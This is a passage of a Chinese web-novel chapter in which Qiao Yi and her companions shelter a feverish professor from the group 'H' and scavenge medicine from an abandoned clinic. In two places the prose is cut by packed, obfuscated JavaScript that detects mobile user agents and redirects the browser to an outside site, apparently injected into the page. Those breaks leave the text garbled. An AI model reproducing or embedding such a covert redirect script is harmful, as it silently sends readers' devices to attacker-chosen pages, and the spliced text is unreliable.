此刻，他们已经来不及去另一个更远的藏身点，只能先在这里临时躲避。林忻那边还不知情况如何。乔伊心急如焚，顾子衿也一脸焦躁。狭窄车厢里，医生替教授重新调整输液速度，缓解他可能出现的并发症。乔伊半跪在座椅上，一边把外套披在教授身上，一边散乱地擦去他额头的冷汗。顾子衿则警惕地注视外面，随时留意可疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027290|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动静。 忽然之间，教授的双眼猛地睁开，里头血丝密布，染着痛苦神色。他的唇颤抖着，喃喃吐出断续字句：“别……碰……量子……数据……会……被……他们……”声音实在轻微，却让乔伊激动无比。她俯下身，全神贯注地聆听。可教授只说了几个字，便再度陷入晕厥。这短短信息令她心头重击：他提到量子数据，以及“他们”。显而易见，教授被“H”带走，极可能因为掌握某些关键机密。 乔伊心潮翻涌，更加坚定保护教授、查清一切的决心。但也正是这时候，她脑海忽地阵痛，那熟悉的冰冷声音再次出现：“看，他死不了就会继续被量子进程的阴谋纠缠。你也一样，无处可逃。”乔伊硬撑着不让自己晕眩过去，暗暗告诫自己必须稳住——她不能让此刻的意志再度被妖操纵。 车外的雨势不见衰弱，黑夜宛如深海。乔伊与同伴们在这种极端环境下紧张地与时间赛跑，与死神周旋。她望向教授的面庞，心里浮出一股难以言说的柔软。也许他曾是一切黑暗的始作俑者，可那都是过去；此时此刻，他更像一个脆弱的普通老人，被命运打磨得满是伤痕。 午夜将近，乔伊与顾子衿轮番守夜，医生反复提醒：“要是高烧再起或者呼吸衰竭，马上叫醒我。”狭隘的车内空间透着沉闷，让人无法伸展腰背，乔伊疲惫不堪却一刻不敢合眼。她怕一旦睡去，就会梦见那些过往噩耗，或者再次沉溺于拉普拉斯妖招呼的幻象。 终究，她还是半眯着眼，在心力交瘁的状态下做了个不算梦的梦：她仿佛看见自己年幼时，在一盏惨白手术灯下哭喊，却有一只手轻抚她后背，声音沙哑又温柔：“孩子，不要怕。”那人面容模糊，却与她在旧照片里看到的教授轮廓重叠。她不知是该憎恨还是依赖。这个混沌片段如同剧烈潮汐，令她心底翻腾不休。 当她再次睁开双眼，外头雨声已缓和许多，停表显示凌晨三点。顾子衿露出疲倦神色：“你梦魇了？总在喃喃自语。”乔伊没有作答，只是伸手探向教授的额头，烧似乎又上来了。医生本来在打盹，立刻清醒过来，给教授注射退烧剂，可药量有限，若持续这样下去，他们迟早要弹尽粮绝。 乔伊垂下眼睑，看向教授灰白的发丝，一阵刺痛再次钻入脑海。她憎恶这种手足无措的感觉，却只能硬生生咽下焦灼。于是，她咬紧牙关告诉顾子衿和林忻：“我们必须快点联络学姐一起，尽力找更好的医疗环境，或者再弄更多药物，否则教授熬不过这个频繁的高烧反复。” 顾子衿点头：“我先去周边探探路。林忻，你也试图联系学姐。医生和乔伊，留在车里别轻举妄动。”乔伊本能地想说“我和你一起去”，但看着教授，再想想自己那潜伏危险的拉普拉斯妖，终究咽回了话头。她微微颔首：“你小心点。” 顾子衿走后，林忻在前座小声呼叫学姐。车厢里只余乔伊、医生和昏迷不醒的教授三人。乔伊忍不住问医生：“您能看出，他过去受过什么严重伤害吗？好像除了这次枪伤和外伤，还有某些内里损伤？”医生翻开自己做的简单病历，低声道：“你说得对，他的神经系统有过手术痕迹，心脏似乎也有旧病。或许是几十年前的旧伤留下的暗疾。再加上岁数不小……总之他身体早已不堪折腾。” 乔伊听完心里升起些许怅然。也许教授与她有过更长久的牵连，那种牵连超越了“实验”本身。她抚摸着教授的手背，指尖传来阵阵冰凉，又带着鲜活的脉搏波动。或许，还来得及让他醒来继续活下去。 不知过了多久，顾子衿忽然急促地敲打车窗，示意他们打开门。车后门一开，灌进来冷湿夜风，也带进一个令乔伊意想不到的人：学姐！她气喘吁吁地抱着一个沉重医药箱，看上去显然是铤而走险。乔伊惊喜交加：“你怎么过来了？”学姐适才还留在另一处支援，这会儿却只身出现。她把箱子往车内一放：“别问了，先看这是不是你们急需的退烧药品。” 果然，学姐从箱子里翻出更新的药剂、输液包、绷带，以及某些相对高级的临床设备。医生顿时眼睛一亮，连忙拿来给教授复检。乔伊和学姐对视片刻，彼此从对方略显狼狈的神情中看出关心与决心。学姐轻轻拍拍乔伊肩：“你别太勉强，你的脸色也很差。” 乔伊苦笑：“已经走到这一步，只希望教授快点好起来。”她偏过头，看见教授的胸口在缓慢起伏，比之前似乎顺畅了些，冰冷肤色也略有回暖。她仿佛看到了转机，心跳也随之在胸腔激烈撞击。仿佛越在乎，就越怕失去。 学姐想要继续说什么，外头却传来车辆急速行驶的轰鸣。众人神经再次绷紧。“不会是‘H’又找来了吧？”林忻谨慎地熄灭车灯，所有人都屏住呼吸等待。外头的声响忽远忽近，雨夜视线极差，根本无法确认状况。若再爆发一场枪战，他们寡不敌众。乔伊只觉后背像浸在冰水里，暗暗祈愿来者并非那群穷追不舍的黑衣人。 良久，那声音渐渐消失，仿佛并没有发现他们。车内众人才松口气。也有人警惕地认为也许对方在附近埋伏。学姐作出决断：“我会留在车外守着，你们从里面把门窗锁上，随时做好撤退准备。”她声音带着女战士般的干脆果敢，感染了乔伊，也令乔伊感到安定：至少她并不孤单。 乔伊回头看教授，再看那小小药箱里的补充物资，只觉得浑身每一根神经都在提醒自己：这一路必定还会遭遇更多磨难，然而教授或许撑得过去，也或许熬不过去。但无论结局如何，她都必须拼尽全力。那份执念让她心里既痛苦又亢奋，好像牵系她人格最深处的神经。拉普拉斯妖在她灵魂深处的某个血色区域微微敛息，也不知是看出她的决绝，还是准备下一次反噬。 再过几个钟头，雨势终于有所减弱。凌晨时分，疯狂一夜后，学姐提议立刻转往下一个更安全的据点。大家一致同意，再留在此处并不安全。医生给教授做了最后一次简易检查，确认他生命体征比较平稳，便让乔伊和顾子衿合力把他重新搀好。凌晨四点多，面包车再一次发动，带着所有希望与暗伤，在未明的幽冷天色里缓缓驶远。 乔伊坐在教授身边，听到他略带不均匀的呼吸，想到他们之间牵扯的秘密。她不知自己能否真的得到答案，也想不通当年一切究竟是命运的曲线，还是人为的操纵。她只知道自己有太多疑问必须由教授亲口解答。她小心握住他那微凉的手，低声呢喃：“您已经醒来两次，却又说不出完整的话……等天亮后，一定要再睁开眼睛……我不想再失去任何人。若您真是我生命中那根曾经微弱的光，那就不要断绝。” 面包车行驶在寂静长街，随着发动机低鸣渐行渐远，车后只剩下几簇黯淡的灯火。或许前路仍旧险阻，可他们没有退路。黎明即将来临，而真正的风暴，也许才正要开始。 23.雨夜萤火 车轮碾过潮湿的街面，嘶哑引擎声仿佛在嘶吼，凌晨四点多的城市被狂风与骤雨笼罩，破败的路灯昏黄不堪。乔伊倚靠在面包车后排，双臂紧紧环住奄奄一息的教授。她感觉到那微弱却顽强的呼吸伴随着车身的震动，断断续续地抚动她的神经。面包车内挤满了人——医生蹙着眉头检视教授的输液管，学姐死死攥着医药箱，林忻握住通讯器坐在副驾座上，顾子衿则聚精会神地控制方向盘，仿佛随时会有敌意的黑影从雨幕中跃起。刚才与“H”的短暂交锋让他们意识到：对方无孔不入，绝不会轻易放过他们手中这柄足以改变“量子进程”的利刃。 乔伊微微低头，鼻息里满是积水和金属燃油的混杂气味，但却越发清醒。教授侧脸微陷，白发散落在额前，映出他颧骨深陷的病态憔悴。她忍不住想：若再拖延下去，这位曾让自己深恶痛绝又难以放手的老人，会不会真的离开人世？她在这雨夜里几次逼迫自己去回想往昔，那些血淋淋又模糊失真的记忆，却始终下意识抗拒接纳最残酷的一面。每回黑暗袭来时，拉普拉斯妖都在她脑内冷笑，不断提醒：**“他不过是把你当作实验材料，何必这样拼命？”**可乔伊一次次咬牙拒绝，不管教授当年是否真的伤害过自己，现在各取所需，他也是她抵达真相的唯一钥匙。 车身猛烈一颤，像轮胎撞到什么浮砖。教授喉间发出闷哼，瞬时咳出一小口鲜血，染红了敷在他唇边的纱布。乔伊心头狠狠一抽，几乎要失声惊呼，好在医生及时示意她冷静：“别慌，他肺部本就有积血。加快输液，别让他再咳得伤到气管。”学姐紧张地拿出新添置的设备给教授做应急检查，乔伊则学着医生教过的手法，轻轻拍打教授背部，保持他气道通畅。她的手在微抖，可她没有别的选择——只能强迫自己去稳定每一次触碰。 林忻收起通讯器，回头沉声说：“下一站的安全屋已经确认。但那是个破旧的废厂房，完全没专业医疗设施。似乎也只能暂避风头，等情况再变。”顾子衿“嗯”了一声，神情依旧焦躁。刚才惊险交火时，他们在学姐的帮助下躲过致命追击，可“H”组织的力量庞大，追兵或许下一秒就会封死他们所有退路。顾子衿透过后视镜瞥见乔伊急切担忧的目光，心头掠过一丝酸涩：她一直以来都把教授看作关键证人，却也难掩情感纠葛。他无法断言她的执着究竟是出于复仇还是救赎。也许她自己都说不清。 雨势稍歇，空气中弥漫泥土酸腐味。车前方突然出现一片荒废的工业区，断裂栅栏随风摇晃，发出刺耳金属碰撞声。路边的旧货车车胎爆裂翻倒在污水坑里，像是死去多年的钢铁怪物。顾子衿放慢车速，辨认着学姐提供的简易地图。学姐找来一把电筒，扭头看了看荒凉四周：“我得先下去探路，万一这儿也被‘H’的人占了，我们就得立刻换地方。”她的语气透出劲锐果敢，又带着深夜特有的沙哑，令乔伊心底稍感安定：她并不孤单，还有这些同伴协力护持。 学姐翻开车门钻进雨夜，身影很快消失在一片墨色暗巷中。顾子衿将引擎熄下，只留电瓶低弱运转，不敢让噪音泄露方位。他朝乔伊点点头，示意：“有什么突发，立刻拉手刹逼我开车走人。”林忻紧握通讯器，一只手轻抚自己腰间的防身匕首。乔伊坐在后排，感到教授身体温度正在逐渐恢复，但体表仍泛着不祥的潮湿冷意。他像是陷在某种极深的昏迷里，偶尔会轻微颤抖，令乔伊心惊不已。 风在空旷的厂区呼啸。博士曾说过，人的命运在量子层面上可能只是一连串概率计算，每一次测量都撕裂出无数的平行路径。乔伊想，她和教授也许曾在几百上千条命运之河里相遇相斥，但眼前这条，却是最折磨也最真实的航道。她低头，指尖再一次不由自主地攥住教授的袖口，努力给他微不足道的热度。 数分钟后，学姐闪了闪手电讯号，示意周围暂时安全。顾子衿迅速发动面包车，缓缓绕过散落的障碍物，不多时抵达那座废弃厂房。大门锁早生锈，学姐利落地用工具撬开。众人合力把教授抬下车，他半眯着眼，似乎对外界声音略有反应。乔伊心头微喜，柔声道：“教授，醒一醒……我们马上就能让你好起来……”教授唇动两下，却没有发出可听辨的言语，呼吸依旧紊乱。 这厂房内部空空荡荡，只剩废弃机床和积灰的轨道。好在学姐事先让人放置了些简易床垫与灯源，总比坐在车里要强。医生抓住机会，为教授换药检查，乔伊与顾子衿把从面包车里能搬的物资都搬进来，最后才把车小心藏到厂房后侧。林忻则负责再度与情报网联系，确认“H”的动向。 一切都井然却又潜藏危机。厂房四角通风口漏雨，水滴滴答落在铁质地面。乔伊皱眉看那一点点水痕，她心头彷佛被同频共振般敲打。医生轻咳一声，把她的神思拉回现实：“先给教授搭个简易‘医务区’。你过来帮我。” 乔伊立刻点头，与学姐合力将一块平整金属板垫高，以防地面浸水，再铺上褥垫、塑料布和干净纱布，勉强组合成急救床。医生仔仔细细地给教授重新打针输液、递上氧气面罩，并用表针测他的瞳孔反应。学姐想把周遭环境再做清理，却发现这儿实在是破败不堪，根本没多少能再利用的东西。她只能尽量清扫，让风沙与碎屑不会飘进教授的敞露伤口。 顾子衿站在厂房门边，神情警惕地注视外面夜色。他靠着那扇破门，偶尔扭头瞄一眼乔伊，见她面容仍旧带着疲惫却固执地坚持。那一瞬间，他似想起初见乔伊时，她冷漠又倔强的眼神——那时甚至对他暗藏排斥。但没想到时至今日，她竟然愿意为保护一个人而几乎不眠不休。他心底涌起些微感慨，却没说出口，只藏在加倍警戒中。 雨声再度变大，敲打厂房顶部。林忻低声跟通讯器里的同伴说了几句，把设备收起后走向众人：“那边传来消息，‘H’正在调派更多人手到这片工业区。我们必须抓紧时间。”学姐皱眉：“他们可能通过一些无人机或其他方式巡逻，毕竟这片工业区没什么人烟，我们一露面就会是活靶子。”乔伊听到此言，心“咯噔”一下，她回头望向教授沉重的呼吸，只觉无法冒险。“若给教授换地方，会再度折腾他体能，万一途中出现意外……怎么办？”她声音颤抖着，却尽量克制。 医生用听诊器在教授胸口做短暂探查，音量压低：“他离崩溃线仍不远，需要更多药物和专业仪器。可我们当下条件有限。”听到这话，众人神情沉重。林忻咬了咬牙，“只能先留在这一步一步来。等‘H’的人展开排查后，或许会暂时放松对这片区域的监控，只要我们藏好，谁也不会想到这里还躲着一群人。” 学姐附和地点头，同意这个判断。他们分头把厂房每个角落都检视一遍，甚至翻找出一些破旧围挡，将唯一能通往室内的侧门也堵上。顾子衿则在门窗缝隙处设下简单报警装置，只要有人触碰铁门，就会拉动连着铃铛的铁线。此时此刻，所有人的心都拧成一股：不管如何辛苦，都要与这座残破不堪的厂房相互扶持下去，至少撑到教授病情稳定。 乔伊蹲守在“医务区”旁，怔怔看着教授那双紧闭的眼。上一次他短暂苏醒，说了句模糊的话，似乎提到量子数据。那意味着，他极有可能握着“Quantum核心”的更多线索，可以左右未来局势。可乔伊问自己：倘若他真曾利用自己的身体作为试验材料，或者说他对过去那些惨无人道的研究负有不可推卸的责任，她是不是还能原谅他？还是说，一旦真相揭开，她会发现自己也不过是命运虚妄计算中的一个注脚？ 外头传来轰隆雷声，风道里夹杂尖啸，顾子衿警觉地凑到门口张望。骤雨像帘幕一样浇下，混沌的黑地带没有一丝人影。林忻轻声安抚：“别太紧张，除非‘H’搞大规模扫荡，他们一时不会发现我们。”医生也缓缓舒了口气：“乔伊，你先吃点东西，将体力恢复一些。我看你嗓子沙哑，精神也快到极限了。” 乔伊才感觉腹内一阵绞痛。她翻遍口袋，找到半块巧克力，这还是在C-19基地时藏下的干粮。她想要撕开包装却因颤抖差点拗断巧克力。顾子衿见状，上前握住她的手，小声道：“我来吧。”他替她拆开，拿出一小块递至她唇边。乔伊咬住那苦涩的味道，只觉味蕾又酸又甜，复杂滋味与她内心焦虑交错，让她差点落泪。她强忍住眼眶的湿意，只在心里默默发誓：不管最终能否从教授口中得到答案，她也不会再任由命运摆布下去。 很快，厂房的空气变得冷冽。夜已经深到几乎天要亮，却没有半点晨曦迹象。医生做完简单处置后，疲倦地靠在墙边打盹。林忻和学姐轮流守岗，顾子衿则拿起手电筒小心巡视厂区各角，确认没有暗藏罅隙。乔伊坐在教授身旁，用余光警惕四周。她时而注视教授的微弱呼吸，时而分神听听外面雨声，唯恐哪一下就杂进了异样脚步。 好不容易等到风雨稍息，林忻正想与学姐交接疲劳守夜之时，忽然传来远处车辆引擎轰鸣。那一刻，所有人都像被针刺了一下般绷紧。顾子衿一把捏熄手电筒，闪身到门后，乔伊和学姐也迅速护住教授和医生，让他们保持安静。车声越来越近，似有两三辆越野车在这片工业区的外围徘徊。乔伊竭力让自己呼吸放轻，这一秒，她仿佛又看见了那些黑衣人端着枪的可怕场景。 突然，一道白色探照灯打在厂房外的老树上，光束在废铁管道上晃动。乔伊一下屏息，心脏几乎要跳出胸腔。她低头看教授，见他眼皮轻颤，似乎也有所感应。那束光继续移动，最终从厂房外墙滑过，却没有停驻。几分钟后，外面的车声又渐渐远去，似乎只是做例行巡查。众人松了口气，隔着灰暗窗缝向外张望，确认没有尾随者。 这一场虚惊让乔伊额头冒出冷汗。她看向昏沉的天空，黯淡无月，只余几道突兀闪电在云层后盘旋，仿佛随时要劈下。同伴们交换眼神，彼此都明白：他们这条临时“安全线”犹如风雨中飘摇的萤火，随时可能熄灭。可除了继续坚持，也别无他法。 时间一点点挪到了破晓前。天光尚未浮现，却已有了黎明的朦胧气息。医生轻??呼唤乔伊的名字，让她过来看看教授。乔伊刚蹲到他身边，就被那一双灰败的眼睑吸引——教授又开始发烧了，汗水混着雨夜潮湿，顺着鬓角滴到颈侧，温度烧得惊人。她心一下抽紧：“该怎么办？药剂还能承受吗？”医生抿唇：“我们带来的退烧药还剩一点，但若再烧下去，怕是肝肾都扛不住。” 千钧一发之际，学姐沉着说道：“还有个办法。工业区里有个半废弃的诊所，设备简陋，但可能留下些非处方药。只是我们对那诊所知之甚少，万一被合作的黑市盯住，危险程度不下于再闯一次枪林弹雨。”顾子衿皱眉沉思，林忻开口：“要去的话，我可以领路。以前偶尔来这里倒腾过配件，那诊所离这里不算太远。只是……谁都不敢保证那儿现在是不是也落到‘H’手里。” 乔伊望着教授，咬紧下唇，终究还是说：“我跟你一起去。你们留守，我心里实在放心不下。”医生摇头想反对，但看见乔伊决然目光，也没有再多的话阻拦。此行潜藏凶险，可若不冒险，教授再烧几次，随时可能彻底倒下。 万事敲定后，为减少目标，最终由乔伊与林忻两人出发。学姐与顾子衿留在厂房给教授作掩护，并随时与外部联络，医生则继续看护教授病情。乔伊轻轻摸了一下教授的额头，一句“您别再昏迷太久”在喉咙里滚了两滚，终究没有说出口。她默默替他掖好毯子，然后跟着林忻出了厂房，迎着那灰白天色和薄雾向东面巷道前行。 死寂的工业区里，破败铁轨蜿蜒穿过倾塌的平台。成排废车像沉寂的石像群，全被苔藓和淤泥吞噬。乔伊与林忻一路轻手轻脚，只在必要时才踩动脚步。林忻指尖紧握着匕首，乔伊则攥着一把医生给的麻醉针，以防万一。她感觉心脏每一次跳动都无比清晰，几分钟前还在昏暗厂房守着教授，此刻却如同孤身闯进潜伏杀机的怪物腹中。 雨后的空气透出铁锈与湿潮，暗巷偶尔有水滴落下，砸出声响，都叫人神经紧张。两人借着微弱的晨光摸索约莫十几分钟，前方出现一栋挂着破旧“诊所”招牌的二层建筑，斑驳不堪的墙面宛如化石。林忻打手势示意乔伊减速，自己先猫着身形贴到那扇玻璃门侧，凝神聆听屋内动静。零星声响都没有，像一个早被人遗弃的空壳。乔伊皱眉，随时准备撤退。 林忻深呼吸一下，手掌贴住门缝轻轻一推，那扇门竟然没锁。乔伊心头一凛：门若没锁，不是空无一人便是陷阱。她抓紧麻醉针，跟在林忻身后跨过门槛，一股腐朽气味扑面而来。大厅光线昏暗，角落堆放着堆满灰尘的药柜，一只翻倒的椅子横在墙边，显然已许久无人打理。乔伊紧张地扫视周围，每一步都小心踩在干燥处，生怕踩到玻璃碎屑或塑料瓶弄出声响。 林忻扭开手电，小小光圈里映现出破旧仓库式前厅，柜台后面似乎还连着一扇房门。乔伊轻声问：“我们要在这儿找些什么？”林忻压低声音：“先找退烧药或抗生素，医生说能缓解教授症状。这里曾是给工厂工人提供简单治疗的诊所，也许有备用药品留存。” 两人开始分头翻找。乔伊推开一只半掩的药柜，指尖触到一层厚厚尘埃，忍住打喷嚏的冲动翻找瓶瓶罐罐；林忻则轻移到柜台后面，检查抽屉和仪器。经过短暂搜寻，他们找到几支过期药剂，可能连是否有效都不知道，但聊胜于无。乔伊小心把其中一支退烧针管放进口袋，祈愿还没失效。忽然，林忻在一个紧锁的铁抽屉那里停住，手电往抽屉一照：“这里也许有别的东西。” 乔伊一看那抽屉上着把生锈铁锁。林忻欲拿匕首撬开，没想到轻轻一扯锁环就断了。可见这里荒废已久。抽屉里塞着一堆散乱资料和几瓶没拆封的小药瓶。乔伊翻过瓶身标签，惊喜地发现一家正规药厂的名字。虽然保质期略过，但至少能尝试。她朝林忻点头示意，让他装进口袋。 就在这时，楼上传来一声若隐若现的金属碰撞声，仿佛有人踩在废旧床架上。乔伊顿时浑身绷紧，与林忻对视一眼，小心将抽屉推回，再次屏住呼吸。那声音若即若离，似是风吹到了某件松动的器械，但也可能是某个潜藏者的脚步。这个诊所未必真的空无一人。 林忻轻轻把药瓶交给乔伊，让她放好，又换到另一只手握匕首，与乔伊比了个“原路后撤”的手势。乔伊正准备点头，却见楼梯处骤然亮起一线白光！那道光束直接投射到他们身上，惊得乔伊几乎摔掉手里的麻醉针。随后一阵凌乱脚步声响，伴着粗嘎男声：“谁？站住别动！” 林忻反应极快，把乔伊往身后护，自己却举起双手示意无害：“别开枪，我们不是‘H’的人！”那光束抖动几下，接着又有两三步沉重脚步下楼，乔伊眯眼去看，发现是一名中年男子，手里举着一把土制的□□，神色戒备。楼上似还有同伴。那人厉声喝问：“你们来这里干什么？找死吗？”乔伊心突突直跳，紧张万分，却勉力镇定道：“我们……我们只是找些药，就走。绝不想惹事。” “放屁！”那男人粗声打断，“整个工业区乱成一锅粥，‘H’的人到处搜查，你们这时候跑来捡药？谁信？”他用枪口示意，“把兜里东西都掏出来让我看看。”乔伊与林忻显然不愿轻易暴露。但对方态度凶悍，似乎随时会动手。楼梯那头又响起冷笑：“也是只可怜虫，肯定没什么油水。” 林忻低声对乔伊说：“别轻举妄动，我先拖住他们，你找机会撤。”乔伊却咬紧嘴唇，使劲摇头：她不能把林忻扔下不管，两人一起逃或一起留下。那拿枪男子见他们小声嘀咕，更觉可疑，枪口往前一顶，喝令：“快点！不然老子开枪！” 电光火石之间，楼上又窜下另一个汉子，看上去更壮实，手里同样攥着把劣质改装枪。他舔了舔嘴唇，猥琐地笑道：“别啊，或许能把他们卖个好价钱。听说‘H’收买人口做苦役，也不挑身份。”乔伊听得心里冰凉，知道自己若被抓，后果不堪设想，光是想到教授那边还等退烧药，她就咬牙不肯束手就擒。可对方有枪，他们硬碰硬恐怕就是一条死路。 楼梯口那两人对视一眼，显然想逼迫乔伊与林忻就范。一阵沉默之下，乔伊忽然攥紧麻醉针，朝林忻打了个极微的眼色。林忻摊开双手佯装顺从：“行行行，我们把东西拿出来。”他把兜里刚捡到的药瓶放到地上。那举枪男子果然目光被吸引，半信半疑地往前迈了半步。乔伊见此机会，猛地用力一甩麻醉针，“噗”一声正中那男人的前臂，男人吃痛，□□剧烈抖动。林忻闪电般上前，一记手刀劈在他颈侧。男人哼都没哼一声就摔倒在地，枪“咣当”落下。 另一个壮汉怒吼，抬枪就要射击。乔伊眼疾手快地扑倒在地，险险避过弹道。林忻同时飞踢过去，把壮汉手臂撞得一歪，对方射出的子弹哑火般打到天花板，激起一阵水泥碎屑。乔伊趁机翻滚起来，抬腿狠踢撞上他膝关节，那壮汉吃痛，整个人脚下一软。林忻出手如电，匕首抵住他的脖颈：“别动！再动就见血！”壮汉咬牙，脸色狰狞，却终究不敢再挣扎。 楼上似再没人了，乔伊竖耳倾听片刻，才敢松口气。林忻满头冷汗，突然觉得背后火辣辣疼，低头一看，方才拼斗中大臂被刀片擦破皮，鲜血洇湿衣袖。乔伊忙扶住他：“你还好吗？”林忻勉强笑：“死不了。”他看向被麻醉针放倒的那男子，确认对方一时半会儿不会醒来，又踢开壮汉的枪，示意乔伊拿麻绳来绑起来。乔伊心跳尚未平复，两人合力拽过绳索把这两个陌生人牢牢绑住，防止他们再惹麻烦。 “你们是谁？就算抢了这点破药，你们也跑不远。”壮汉不甘地低声咒骂。乔伊冷冷看他一眼：“我们不想惹是生非。需要药救命而已。”她顿了顿，又问，“上面还有别的人吗？”对方别过头，咬牙不语。林忻干脆从他口袋里搜出一串钥匙和一把小刀，也没再多废话。 乔伊与林忻简单处理了林忻的伤口，拿了些纱布绷带，确认楼上没更多威胁后，匆匆把能用到的药剂收拢在背包里。离开前，乔伊看那壮汉一眼，想到此人虽不友善，但未必是“H”的走狗，也可能是被混乱环境逼成亡命之徒。她没有主动伤害他们性命，一句话也懒得多说，只是在心里无比急切地念道：希望这一趟收集到的药，能真正在教授身上起效。 昏暗清晨里，他们顶着微雨快步离开诊所，绕了几条小道，才折回废弃厂房。乔伊路途上仍惊魂甫定，她想起方才的枪声与打斗，浑身还在冒冷汗。若非林忻沉着应变，她真的不知如何收场。她深吸一口气，告诉自己必须保持刚才那股狠劲——命运这东西，从来都不会怜悯懦弱之人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032230|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 半小时后，天际隐隐泛白，乔伊与林忻再度返回厂房。顾子衿见他们安然归来，目露喜色，却立刻发现林忻手臂受伤，不禁皱眉责问：“你们遇上什么？伤口严重吗？”林忻只是摆手示意不用大惊小怪，乔伊把装药的袋子递给医生：“里面可能有些退烧药，还有绷带，快看看哪个能让教授先用。” 医生立刻翻检药瓶，抽出几支外包装尚算完好的针管，还有几板片剂。他将其中一种似乎尚在期限内的退烧针配好剂量，给教授做注射。乔伊目不转睛地盯着教授苍白的面孔，心跳声几欲冲破耳膜。她不停在心里祈求：拜托，一定要有用……不要再让他一点点失去生命迹象。 学姐为林忻清创包扎，顾子衿重新确认厂房外围无人跟踪。雨势渐渐远去，晨光像灰败的布片撒下来，在厂房一侧投下歪斜的破窗影。乔伊拖着疲惫的身躯重回教授身旁，一只手轻抚他额前汗珠，热度似乎已有些下降。她微松一口气，却依旧不敢掉以轻心。 时间缓慢流淌，众人在紧张气氛里过了一个多小时。教授的呼吸频率渐渐平稳，烧退到了一个较安全的区间。医生检查过瞳孔之后，始终眉头不展，却稍稍道了声“他暂且稳了”。乔伊这才如释重负地倚着墙坐下，眼眶酸涩，双手仍死死抓着教授那只瘦骨嶙峋的手。即使多年被仇恨、惧怕与猜忌噬咬，她此刻却只想留住他对生命的哪怕半分渴望。 歇了片刻，林忻把外头最新的情报告诉大家：“‘H’加大巡逻范围，今早至少三波装甲车在周边游走。咱们必须等到深夜之后再做新的转移计划。”学姐也补充：“我安插在‘H’内部的眼线暂时失联，不晓得他们下一步要干什么，但肯定和‘量子核心’相关。”她顿了顿，看向沉睡的教授，“希望他能尽快醒来，给我们更多线索……不然我们就只能被牵着鼻子跑。” 乔伊闻言，脑海里又浮现“量子数据”的碎片。教授最后一次昏醒时，隐约提到“别碰量子数据，否则会被……他们算计”之类。那个“他们”，或许正是“H”背后的黑手，又或许另有隐情。她看向躺在地面简易床垫上的老者，想起往昔种种，忽然冒出一个念头：教授当年究竟为何要执行那些极端研究？**难道也有迫不得已的理由？**又或者，他预见了某种更巨大的灾难，而借助这项研究争取转圜？她分不清这是在为他开脱，还是看到了某些迹象。背脊一阵刺痛，那躁动的拉普拉斯妖又在暗处啃噬她理性的边界。 医生忙碌间注意到乔伊脸色发白，低声提醒：“你也得休息，否则再逼到极限，连我都救不了你。”乔伊想起自己脑中那工厂般轰鸣的头痛，想起每次疲惫到一定程度，拉普拉斯妖就会乘虚而入，唤醒她体内极端情绪。为了不让它再度占据上风，她只好勉强点头，把医生提供的安眠药含在舌下。她原本怕失去对周围的警惕，但学姐保证会替她守着教授，还让顾子衿留意周遭动向。如果她再不调整状态，下一次崩溃恐怕就不像之前那样轻易收拾。 她躺在教授身侧，听他缓慢绵长的呼吸声，仿佛沉在水底。她恍恍惚惚地回忆那个令她反复梦魇的片段——那束白炽手术灯，以及教授温热的手掌，那时她只知道哭，哭到眼睛红肿，哭到晕头转向。老师、实验助手、警卫都在冷漠地做记录，唯独有一双手轻拍她后背，似在试图安慰，又似在评估观察她极端情绪下的反应。那会儿，她痛恨整个世界，却说不清究竟错在谁。拉普拉斯妖，也许就是从那时便埋下了伏线，通过她绝望的呐喊，潜入她血液深处。 迷迷糊糊里，她仿佛又听见教授的声音：“对不起……我……来不及救你……”与之前他在半梦半醒中说过的那个断裂片段颇相似。乔伊心脏猛地收缩，她想伸手抓住那声音，却抓了个空。她想追问何为“救你”？难道不是你害了我吗？可一切都太模糊，像久远光年外传来的微弱电波，无法被完整解读。 她挣扎了很久，意志最终被安眠药与长久的疲惫淹没，沉沉睡去。黑暗梦境中，拉普拉斯妖冰冷的声音若隐若现，可这次似乎没再咄咄逼人，只发出几声低语，像是在窥探或者等待某个爆发时机。 不知过了多久，乔伊一声惊喘，终于自噩梦中惊醒。她睁眼看到厂房里依旧灰暗，光线透进来显得黄蒙蒙。顾子衿正蹲在一旁，见她醒了，松了口气：“你睡了大概三个多小时，教授暂时没有再发烧，医生说赢得了一些缓冲。”他抬手擦了擦额上汗水，“‘H’的人今早反复在附近巡逻，好在没发现我们。然而日落后再转移也未必安全。” 乔伊支撑着坐起来，浑身像散了架，但精神稍微恢复了一些。她望向身旁的教授，他神色依旧苍白，却不再满头大汗，呼吸绵长。或许……这表示那一针退烧药产生了效果？她内心涌起一串难以言说的轻慰，至少，他还活着，还有机会把真相诉诸口舌。 正当她想再擦拭教授额头，忽然就听见一声混沌的低喃：“乔……乔伊……”那沙哑虚弱的音色令乔伊全身蓦地僵住。她低头看去，教授的眼皮微微颤动，似乎在努力睁开。她愣了几秒，旋即扑过去贴近他耳畔，颤声道：“教授，您能听见吗？我是乔伊……我在这儿……”她声音哽咽。顾子衿也一脸惊喜，立马唤医生和学姐过来。 教授艰难地动了动喉结，终于将浑浊的眼睛勉强挣开一条缝。他仿佛费尽所有力气聚焦，望向乔伊，眼底闪烁出一瞬复杂的神色，似混合歉疚、痛苦与释然。嘴唇翕动几下，却发不出太完整的句子。医生端来温水，小心用棉签沾湿他唇角，然后轻声鼓励他慢慢呼吸。学姐激动地对乔伊说：“他醒了！他真的醒了！” 